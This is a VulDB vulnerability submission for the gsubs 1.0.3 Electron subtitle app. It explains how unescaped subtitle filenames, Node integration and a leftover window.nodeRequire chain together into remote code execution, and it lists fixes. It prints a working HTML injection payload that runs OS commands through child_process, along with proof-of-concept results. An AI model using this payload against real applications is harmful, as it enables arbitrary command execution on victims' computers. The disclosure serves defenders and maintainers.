| Titolo | sanjevirau gsubs 1.0.3 Code Injection |
|---|
| Descrizione | gsubs is an Electron 9.1.2 desktop application for subtitle downloading. Three defects chain to remote code execution:
1. renderer runs with Node integration (main.js:30-32): nodeIntegration: true with implicit contextIsolation: false (Electron 9 default). The renderer has full Node.js access including child_process.
2. nodeRequire globally available (app/view/index.html:192): The developer attempted to restrict Node access by deleting window.require, but left window.nodeRequire = require globally reachable. Any injected script can call window.nodeRequire('child_process').exec(...).
3. unescaped DOM sink (renderer/index.js:466,526): Subtitle filenames (this.filename) from the OpenSubtitles API response are concatenated into HTML via jQuery .append() without any escaping. A filename containing HTML markup is parsed as live DOM nodes.
Code analysis:
main.js:30-32:
mainWindow = new BrowserWindow({ webPreferences: { nodeIntegration: true } });
app/view/index.html:192:
window.nodeRequire = require; // still reachable
delete window.require; // only window.require removed
renderer/index.js:466:
var fileName = this.filename; // from OpenSubtitles API response
$("#result-tbody").append('<tr><td title="' + fileName + '">' + fileName + '</td>...');
// fileName not HTML-escaped -> injection point
renderer/index.js:526 (search box result path):
var fileName = this.filename;
$("#result-tbody").append('<tr><td title="' + fileName + '">' + fileName + ' </td>...');
Attack chain:
Attacker-controlled subtitle filename from API:
"><img src=x onerror="window.nodeRequire('child_process').exec('calc.exe')">.srt
|
renderer/index.js:466/526: jQuery .append() with unescaped filename
|
DOM parsed: <img src=x onerror="..."> injected into page
|
onerror fires -> window.nodeRequire('child_process').exec(...)
|
Arbitrary OS command execution
Delivery vectors:
- Primary: Malicious subtitle filename returned by OpenSubtitles-compatible API (user searches a title -> API returns crafted result -> RCE). AV:N.
- Secondary: On-path MITM attacker alters HTTPS response to api.opensubtitles.org.
POC verified on unmodified gsubs v1.0.3, Windows 11, Electron 9.1.2. Three-layer CDP verification:
Layer 1 - Node.js capability confirmed:
window.nodeRequire('fs').writeFileSync(...) executed in real gsubs renderer via CDP
Result: SUCCESS - marker file written with username
Layer 2 - DOM XSS sink confirmed:
jQuery .append() in real page with XSS payload
Result: img.onerror fired -> calc.exe launched -> marker file written
Layer 3 - Full API pipeline confirmed:
Direct call to real showQuerySuccessPage() with API-shaped mock result
Result: parse -> render -> XSS -> RCE -> marker "XSS_API_SIM_OK WSY"
Result (2026-07-15 clean re-run):
[+] L5_CONFIRMED marker=RCE_B01_GSUBS uid=WSY
Marker file _POC_B01_RCE_PROOF.txt content: RCE_B01_GSUBS uid=WSY (MD5: db17e68b21f67aea71c46a932f147f34)
Calc.exe processes launched by PoC (Windows Task Manager):
CalculatorApp.exe 58096 120,700 K
CalculatorApp.exe 59512 119,192 K
CalculatorApp.exe 59588 124,388 K
CVSS 3.1: 9.6 Critical (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
CWE: CWE-94 (Code Injection), CWE-79 (Cross-site Scripting)
Fix:
1. Upgrade Electron -> nodeIntegration: false, contextIsolation: true
2. Remove window.nodeRequire entirely; use contextBridge + preload.js
3. HTML-escape all external data before DOM insertion
4. Add Content-Security-Policy
5. Upgrade electron-updater (currently <=4.0.0, vulnerable to CVE-2020-15138)
Full PoC and source files: https://github.com/LeoWSY-hashblue/cve-electron-2/tree/master/gsubs/poc
Repository: https://github.com/sanjevirau/gsubs |
|---|
| Fonte | ⚠️ https://github.com/LeoWSY-hashblue/cve-electron-2/blob/master/gsubs/cve.md |
|---|
| Utente | NeoWSY (UID 82976) |
|---|
| Sottomissione | 15/07/2026 11:32 (2 mesi fa) |
|---|
| Moderazione | 12/09/2026 10:04 (2 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 403079 [sanjevirau gsubs fino a 1.0.3 Electron renderer/index.js showQuerySuccessPage filename escalationi di privilegi] |
|---|
| Punti | 20 |
|---|